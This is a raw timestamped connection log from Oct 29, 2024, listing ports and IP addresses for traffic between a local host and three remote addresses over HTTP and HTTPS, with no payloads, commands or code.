Oct 29, 2024 04:52:33.724905968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725054979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725111008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725159883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725174904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725188017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725203037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725219011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725220919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725234985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725244045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725250959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725266933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725281000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725282907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725298882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725301981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725318909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725372076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725564003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725579977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725619078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725651026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725740910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725755930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725770950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725785971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725795984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725801945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725820065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725821018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725836039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725852013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725860119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725872040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.725881100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725900888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.725931883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.726186037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.726202965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.726217031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.726232052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.726246119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.726247072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.726262093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.726265907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.726278067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:33.726305962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.726337910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.768945932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:33.774267912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054177999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054294109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.054330111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054346085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054389954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.054429054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.054507017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054522991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054538965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054560900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.054591894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.054656982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054671049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054685116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054701090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054708004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.054716110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054733038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054744959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054747105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.054759979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054776907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054785967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.054790974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054805040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.054842949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.054961920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054976940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.054992914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055008888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055010080 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055047035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055047035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055114031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055128098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055143118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055156946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055160999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055172920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055202961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055253029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055432081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055445910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055459976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055474043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055488110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055489063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055512905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055515051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055526972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055556059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055573940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055583954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055598974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055613041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055627108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055638075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055644989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055660009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055701971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055762053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055810928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055896997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055913925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055927038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055943966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.055947065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055979967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.055999994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056073904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056090117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056102991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056118011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056123972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056153059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056190968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056397915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056413889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056427956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056442976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056457043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056459904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056473017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056488991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056502104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056503057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056519985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056519985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056549072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056567907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056761026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056778908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056797028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056817055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056827068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056869030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056904078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056919098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056934118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056948900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056953907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056963921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056978941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.056987047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.056993961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.057009935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.057024002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.057034016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.057059050 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.057077885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.171446085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171483040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171498060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171534061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.171556950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.171572924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171624899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.171681881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171699047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171715021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171727896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171730042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.171751976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.171752930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171770096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.171798944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.171902895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171920061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171936035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171952009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171967983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.171978951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.171978951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.172022104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.714216948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.714266062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:34.719568968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:34.719609976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:35.499819040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:35.500041962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:35.553383112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:35.558994055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:35.839210987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:35.839251995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:35.839287043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:35.839344978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:35.839391947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:35.839436054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:35.845798016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:35.851362944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:36.137622118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:36.137726068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:36.149933100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:36.155389071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:36.926681042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:36.926783085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:36.952529907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:36.957900047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:37.238105059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:37.238200903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:37.239379883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:37.244843006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:38.019890070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:38.019989967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:41.482851028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:56.323168039 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:56.323210955 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:56.323327065 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:56.323702097 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:56.323730946 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.174352884 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.174452066 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:57.178443909 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:57.178458929 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.178675890 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.187096119 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:57.227353096 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.469794989 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.469825983 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.469846964 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.469932079 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:57.469971895 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.470009089 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:57.470032930 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:57.471759081 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.471805096 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.471827030 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:57.471836090 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.471851110 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.471851110 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:57.471903086 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:57.474064112 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:57.474076986 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.474107027 CET	49762	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:57.474112988 CET	443	49762	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:57.557938099 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:57.558021069 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:57.558101892 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:57.558444023 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:57.558468103 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.314472914 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.314584970 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.319031000 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.319055080 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.319564104 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.328342915 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.371380091 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.576610088 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.576638937 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.576674938 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.576742887 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.576793909 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.576854944 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.576854944 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.695152044 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.695174932 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.695242882 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.695264101 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.695292950 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.695334911 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.815335035 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.815359116 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.815412998 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.815447092 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.815474033 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.815686941 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.935153008 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.935175896 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.935256958 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:58.935273886 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:58.935452938 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.051677942 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.051700115 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.051805973 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.051826954 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.052012920 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.170136929 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.170165062 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.170419931 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.170445919 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.170654058 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.288758993 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.288781881 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.288908005 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.288940907 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.289094925 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.408076048 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.408098936 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.408153057 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.408185005 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.408207893 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.408231974 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.454834938 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.454857111 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.454915047 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.454932928 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.454960108 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.455285072 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.568027020 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.568048954 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.568114996 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.568161011 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.568190098 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.568212986 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.646262884 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.646289110 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.646342039 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.646369934 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.646399021 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.646418095 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.764738083 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.764760017 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.764895916 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.764934063 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.764996052 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.811305046 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.811332941 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.811625957 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.811691999 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.811757088 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.812160969 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.812228918 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.812242985 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.812272072 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.812302113 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.812325001 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.812361002 CET	49763	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.812397003 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.812419891 CET	49763	443	192.168.2.4	13.107.246.60
